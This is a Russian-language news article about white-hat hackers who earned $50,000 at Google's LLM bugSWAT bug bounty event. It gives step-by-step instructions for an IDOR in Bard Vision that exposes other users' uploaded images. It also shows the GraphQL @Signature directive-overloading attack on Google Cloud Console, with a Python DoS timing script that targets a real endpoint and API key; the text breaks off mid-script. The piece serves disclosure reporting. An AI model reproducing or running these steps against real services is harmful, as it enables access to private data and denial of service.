Белые хакеры взломали ИИ Google и заработали $50 тысяч

Белые хакеры Джозеф «rez0» Такер, Джастин «Rhynorater» Гарднер и Рони «Lupin» в рамках мероприятия LLM bugSWAT смогли взломать чат-бот Google Bard, воспользовавшись уязвимостью одной из функций. Они заработали $50 тысяч.

rez0 первым обнаружил небезопасную прямую ссылку на объект (Insecure direct object references, IDOR) для функции Bard Vision. Она предназначена для обработки и описания любого загруженного изображения. Благодаря уязвимости хакеры получили доступ к изображениям других пользователей без каких-либо разрешений или процедуры проверки.

Какие шаги пришлось предпринять:

зайти в Bard под пользователем 1, загрузить файл во время проксирования и отправить запрос;

найти в прокси запрос к POST: /_/BardChatUi/data/assistant.lamda.BardFrontendService/StreamGenerate?bl=boq_assistant-bard-web-server_20230711.08_p0&_reqid=1629608&rt=c HTTP/2;

найти путь запроса и скопировать его в буфер обмена: /contrib_service/ttl_1d/1689251070jtdc4jkzne6a5yaj4n7m;

зайти в Bard под пользователем 2, загрузить любое изображение и отправить запрос чат-боту;

найти в прокси запрос к Assistant.lamda.BardFrontendService/StreamGenerate и отправить его на ретранслятор;

изменить значение пути к фотографии пользователя 2 на фотографию пользователя 1.

Это позволяет получить несанкционированный доступ к любому изображению, загруженному другим человеком. Учитывая наличия у Bard функции оптического распознавания символов (OCR), это может привести к нежелательной утечке конфиденциальных текстовых данных на картинках.

Затем хакеры решили взломать Google Cloud Console с функциями искусственного интеллекта. Lupin запустил прокси и проверил все взаимодействия между интерфейсом и сервером. Одной из конечных точек API был GraphQL, работающий на Cloudconsole-pa.clients6.google.com. В GraphQL директивы имеют префикс @ и могут быть прикреплены к полю, фрагменту или операции. Вот пример использования директивы:# Non-Google Example code # Define a directive for field-level authorization directive @auth(role: String) on FIELD_DEFINITION # Define the User type type User { id: ID! username: String! email: String! @auth(role: "ADMIN") createdAt: String! } type Query { # Fetch a user by ID, with an optional authorization directive user(id: ID!): User @auth(role: "USER") }

В Google Cloud Console директивы использовались для подписи тела запроса GraphQL:query ListOperations($pageSize: Int) @Signature(bytes: "2/HZK/KTyJwL"){ listOperations(pageSize: $pageSize) { data { ...Operation } } } fragment Operation on google_longrunning_Operation { name metadata done result response error { code message details } }

При попытке изменить тело запроса GraphQL выводится следующая ошибка:{ "data": null, "errors": [{ "message": "Signature is not valid", "errorType": "VALIDATION_ERROR", "extensions": { "status": { "code": 13, "message": "Internal error encountered." } } }] }

Этот механизм позволяет Google гарантировать запрет на нежелательные манипуляции с телом запроса, отправленного в GraphQL API. Подписи были заранее сгенерированы и жёстко закодированы в javascript, чтобы никто не мог вычислить их.Wqb = function (a, b) { b = a.serialize(Nqb, b); return a.config.request( 'BatchPollOperations', 'query BatchPollOperations($operationNames: [String!]!) @Signature(bytes: "2/iK7YFqII6ybbE1S2gxMnA0aRa3dCR0TGbGYBcA12bE4=") { batchPollOperations(operationNames: $operationNames) { data { operation { ...Operation } } } } fragment Operation on google_longrunning_Operation { name metadata done result response error { code message details } }', b ).pipe(a.deserialize(Nqb)) };

Однако хакеры поняли, что подпись в теле не защищена, и это позволяет добавить несколько подписей, как показано ниже:query ListOperations($pageSize: Int) @Signature(bytes: "2/HZK/KTyJwL") @Signature(bytes: "2/HZK/KTyJwL") @Signature(bytes: "2/HZK/KTyJwL") @Signature(bytes: "2/HZK/KTyJwL"){ listOperations(pageSize: $pageSize) { data { ...Operation } } }

Каждая директива @Signature, которую добавили в тело, будет выполняться для проверки его целостности. Это известная неправильная конфигурация в GraphQL, называемая перегрузкой директив. Перегрузка директив происходит, когда запрос намеренно создается с чрезмерным количеством директив. Это можно сделать, чтобы использовать обработку сервером каждой директивы, что приводит к увеличению вычислительной нагрузки.

Чтобы проверить, станет ли Google Cloud уязвимым к перегрузке директив с использованием директивы @Signature, хакеры написали скрипт, используя копию расширения Burp как запросы Python, чтобы быстро преобразовать HTTP-запрос в код Python. Затем они протестировали несколько директив и попытались увидеть, увеличится ли время ответа:import json import requests import warnings warnings.filterwarnings("ignore") def dos_time(directives): # Generate the signature DoS Payload signatures = "@Signature(bytes: "2/HZK/KTyJwL")" * directives body = {"operationName": "ListOperations", "query": "query ListOperations($pageSize: Int) "+ signatures +" { listOperations(pageSize: $pageSize) { data { ...Operation } } } fragment Operation on google_longrunning_Operation { name metadata done result response error { code message details } }", "variables": {"pageSize": 100}} burp0_url = "https://cloudconsole-pa.clients6.google.com:443/v3/entityServices/BillingAccountsEntityService/schemas/BILLING_ACCOUNTS_GRAPHQL:graphql?key=AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g&prettyPrint=false" burp0_cookies = {} burp0_headers = {} r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=body) print(r.elapsed.total_seconds()) directives = [10, 500, 1000, 5000, 10000, 50000, 100000, 1000000] for directive in directives: print(f"